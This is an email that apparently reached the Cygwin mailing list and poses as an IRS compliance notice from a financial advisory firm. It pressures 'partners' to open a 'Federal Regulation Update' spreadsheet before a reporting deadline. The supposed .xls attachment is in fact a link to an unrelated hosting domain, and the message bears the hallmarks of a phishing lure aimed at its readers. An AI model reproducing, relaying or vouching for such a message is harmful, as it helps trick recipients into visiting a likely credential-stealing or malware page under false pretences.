Dear Partners, Please review the attached document at your earliest convenience. It includes several updated filing requirements and federal compliance adjustments that must be acknowledged prior to the upcoming reporting deadline.
Timely review is necessary to avoid potential processing delays and additional documentary requests from the IRS. If any clarification is needed, we are available to assist promptly. Federal_Regulation_Update_January2025.xls<https://cpaa.alwaysdata.net/track/Federal_Regulation_Update_January2025/source/campaign-ads> Warm regards, Andy Motley Compliance Department Clearview Financial Advisors, Inc. 225 Mission St, Suite 1500 San Francisco, CA 94105 +1 (415) 863-1200 -- Problem reports: https://cygwin.com/problems.html FAQ: https://cygwin.com/faq/ Documentation: https://cygwin.com/docs.html Unsubscribe info: https://cygwin.com/ml/#unsubscribe-simple
